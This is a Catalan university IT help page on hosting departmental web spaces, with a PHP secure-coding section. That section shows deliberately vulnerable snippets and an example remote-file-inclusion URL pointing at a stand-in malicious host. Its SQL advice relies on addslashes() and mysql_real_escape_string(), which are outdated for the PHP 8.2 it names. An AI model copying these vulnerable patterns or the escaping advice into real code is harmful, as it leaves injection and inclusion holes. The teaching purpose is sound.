Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.
Info

IR A LA VERSIÓN EN CASTELLANO

Table of Contents

...

Instruccions

Els departaments, centres, instituts, grups d'investigació i altres entitats vinculades poden sol·licitar espai als servidors centrals de la Universitat per a albergar les seues pàgines web. Podeu consultar els Criteris de cessió d'espais cedits Web i protocols d'actuació davant incidències en els Espais Cedits de l'UJI, i després seguir aquestes instruccions.

...

Des del Servei d'Informàtica s'ha posat en funcionament un servei de hosting per a albergar els espais cedits corresponents a grups d'investigació, departaments, serveis i altres entitats que necesiten publicar informació en la web amb caracter propi i independent d'aquella informació que apareix al Portal de la UJI.

Introducció

Els avantatges principals d'usar aquest servei són:

  • Accés interactiu SSH (opcional, no actiu per defecte).

  • Còpia automàtica (backup).

  • Diverses ferramentes a l'abast de tots els espais (sistema de prevenció d'atacs, accés interactiu, base de dades, plantilles, estadístiques, blocs i suport de diverses versions de PHP), llibreries i mòduls d'autentificació d'usuaris de la Universitat Jaume I, certificats per a servidors web segurs, etc. (Existeix la possibilitat de demanar altres ferramentes addicionals a aquestes, i, en cas de ser factible la seua instal·lació, es posarà a l'abast de tots els espais).

  • Opcionalment cada espai cedit pot disposar d'un bloc basat en el programari WordPress.

  • Utilitat per a canviar la clau d'accés de l'usuari. A aquest mateix enllaç hi ha la possibilitat de canvi de clau d'accés si no es recorda l'antiga.

  • Polica de claus d’accés:

    • No reutilització de les 3 últimes claus

    • Longitud mínima de 8 caracters, mínim 1 minúscula, mínim 1 mayuscula, mínim 1 numero, min 1 caràcter especial (!@#$%^&*-)

    • Temps mínim entre canvis: 10 mins.

    • Comprovación que la clau no estiga ja compromesa a https://haveibeenpwned.com/Passwords

    • Comprovació de similitud amb el nom d’usuari, host, etc.

  • Opcionalment un espai cedit pot disposar de certificat digital per tal de servir el contingut de forma segura entre l'espai cedit i el visitant. Per tal de sol.licitar aquesta característica haureu de tramitar-ho mijançant un CAU.

Accés al servidor

Cada espai cedit disposa d'accés interactiu i transmissió del contingut web (fulles estàtiques i programació) mijançant SSH.

  • En cas d'haver demanat accés interactiu SSH es recomana l'ús del programari putty.

  • Per tal de transmetre el contingut de la vostra web es recomana l'ús de fileZilla i el protocol segur SFTP.

  • El nom de servidor que heu d'usar és mewtoo.uji.es o el nom de l'espai cedit.uji.es(sense http:// o https://).

  • El protocol "insegur" FTP es troba actiu encara que el servidor només estarà accessible desde la xarxa UJI, des de fora de la mateixa no serà possible connectar. Al respecte, el programari fileZilla haurà d'usar FTP explícit sota TLS.

  • Useu el nom d'usuari i clau d'accés subministrat amb l'espai cedit.

Estructura de directoris

L'estructura de directoris d'un espai cedit és la següent. Fora d'aquests directoris no es permet la creació, eliminació o modificació de contingut.

  • htdocs: directori amb el contingut accessible des d'un navegador web.

  • logs: directori on s'emmagatzemen els missatges d'error de php (php_error.log)

  • tmp: directori on l'usuari pot emmagatzemar contingut que no siga accessible des d'un navegador web.

Execució del programari

Només es permet l'execució d'scripts en PHP (v8.2), no es podran executar scripts en perl, python y/o shell script. Ací teniu uns exemples en aquest llenguatge de programació:

PHP ( http://www.php.net )
Quan programeu una aplicació web és molt recomanable seguir aquestes recomanacions. Es tracta de recomanacions per a PHP però són aplicables a qualsevol altre llenguatge de programació:

Initzialització de variables:

És imprescindible inicialitzar cada variable que s'utlitze dins de l'script, per tal que no siga inicialitzada per tercers invocant la URL de l'script amb GET o POST. Es a dir, algun podria invocar l'script enviant-li un valor de la variable falç si coneix el nom de la mateixa. Considereu aquest fragment que no inicialitza la variable superusuario:

Code Block
languagephp
<?php 
	if (comprueba_privilegios()){ $superusuario = true; } ... 
?>
  • Algú si coneix esta variable podria cridar l'script així http://www..uji.es/example.php?superusuario=true i convertir-se en superusuario. Aquest fragment ja soluciona la fallada de seguretat:

    Code Block
    <?php
    	$superusuario = false;
    	if (comprueba_privilegios()){
    		$superusuario = true;
    	}
    	...
    ?>

Recollida dels valors

...

Les variables que arriben pel mètode GET, POST o COOKIE, normalment són enregistrades com variables globals, de forma que invocant-les directament ja tenim acces al seu valor. Esta és una forma de treballar no recomanable, ja que podem caure una altra vegada en un error similar al d'abans, amb la qual cosa, hauríem de recurrir a altres mètodes per recollir les variables, com ara $_GET['superusuario'] si ens arriba per GET, $_POST['superusuario'] si ens arriba per POST, $_COOKIE['superusuario'] si ens arriba en forma de cookie, o $_REQUEST['superusuario'], que és la forma universal d'accedir, siga quin siga el mètode.

Acces a arxius:

Imaginem que tenim una variable $nom_usuari que conté el nom de l'usuari despres d'autenticar-se en algun lloc, i que volem carregar una salutació segons qui siga de la següent forma:

  • Code Block
    <?php
    	include ("/usr/local/lib/salutacions/$nom_usuari");
    ...

...

La mateixa mala persona podria passar-li a l'script com a valor de $nom_usuari una URL amb codi PHP, per exemple:
- http://www.elmalo.com/codigo_malicioso.php
(http://www..uji.es/example.php nom_usuari=http://www.elmalo.com/codigo_malicioso.php), resultant en que el nostre script inclou el contingut de l'script remot i executant les sentències malignes. La solució passa per utilitzar les funcions realpath() o basename().

Altres: 

No useu dades proporcionats per l'usuari, normalment de formularis, com a paràmetres de funcions com eval(), preg_replace() amb l'opció /e, o comandos de sistema com ara exec(), system(), popen(), passthru() o l'operador `, ja que podria acabar executant en el sistema ordres no desitjades.

També és especialment perillos recollir dades proporcionades per l'usuari per a confeccionar una sentència SQL o query. Al repecte haurem d'usar les funcions mysql_real_escape_string(), addslashes() i stripslashes(), per tal d'eliminar caràcters sensibles que podrien facilitar a l'usuri alterar la query.

Mes informació:

Llibre "Programming PHP", Editorial O'Reilly, Rasmus Lerdorf & Kevin Tatroe, i una documentació completa de les funcions disponibles en aquest llenguatge de programació, a les següents pàgines web:

Estadístiques setmanals

Tots els espais cedits disposen d'una pàgina on es poden consultar les estadístiques setmanals d'accessos a l'espai cedit. L'adreça d'accés a aquestes estadístiques és la següent:

...

També es disposa de l'opció de rebre aquestes estadístiques per correu electrònic. En aquest cas, heu de comunicar-nos-ho fent un comunicat CAU.

Base de dades

Es pot fer ús d'una base de dades Mysql ( http://www.mysql.com ) dins de l'espai cedit. Es pot consultar, inserir, modificar i eliminar la informació emmagatzemada en aquesta base de dades mitjançant qualsevol llenguatge de script d'aquells que hem comentat abans. Un exemple d'accés a la base de dades fet amb PHP podria ser el següent:

...

Per a fer ús d'aquesta Base de Dades i les seues ferramentes, heu de sol·licitar el servei fent us del CAU.

Autenticació d'usuaris de la Universitat Jaume I

Es posa a disposició de qualsevol espai cedit una llibreria d'autenticació per als usuaris de la Univeristat (només aquells que tinguen compte, no es poden validar comptes locals als espais cedits) que ens permet validar l'accés i mantindre una sessió tant a l'espai cedit com al SSO, permetent ademés que l'usuari autenticat puga accedir a altres eines integrades (pe e-ujier, alavirtual, etc). Per fer ús de la llibreria és precís usar el llenguatge de programació PHP i haver-ho sol.licitat:

...

Code Block
<?php           
/**             
 * Ejemplo para autenticar, obtener el nombre de usuario y cerrar
 * la sesión del SSO. El orden es importante, normalmente para usarlo
 * en producción se debería dividir el proceso de log-in del de log-out 
 * en dos script diferentes o tener muy claro cómo funciona lo de abajo.
 */             

require_once "ecedits_ujiauth/lib/Auth.php";
require_once "ecedits_ujiauth/lib/Error.php";

use MewtooEC\AuthSSO\Auth;
use MewtooEC\AuthSSO\Error;
                 
$auth = Auth::getAuth();

if ($_REQUEST['logout']=='1'){
        /**             
         * Importante: quitamos logout=1 o si vuelve después 
         * del logout se queda en un bucle de redirecciones. 
         */             
        $auth->logout($_SERVER['SCRIPT_URI']);
        die();          
}               
                                 
if (!$auth->isAuthenticated()){
        $auth->authenticate();
        die();           
}               

echo "<pre>Nombre de usuario: " . $auth->getUserName() . "</pre>";

Servei de Blog

Aquest programari es basa en el gestor de blocs anomenat WordPress, molt conegut i que us podreu trobar en múltiples llocs. A més, la documentació és molt completa.

L'adreça per accedir a l'administració del vostre bloc és la mateixa que la de l'espai que haveu demanat, afegint al final "/bloc/wp-admin/", per exemple:

...

  • http://<nom_del_espai_cedit>.uji.es/bloc

Enviament de correu

Info

És necessari per al correcte enviament de correus des de la màquina d'espais cedits que el remitent siga amb el domini @uji.es com per exemple no-reply@uji.es. En cas de desitjar que l'adreça de resposta per part del destinatari siga diferent de l'empleada com a remitent pot fer ús de la capçalera Reply-To.

...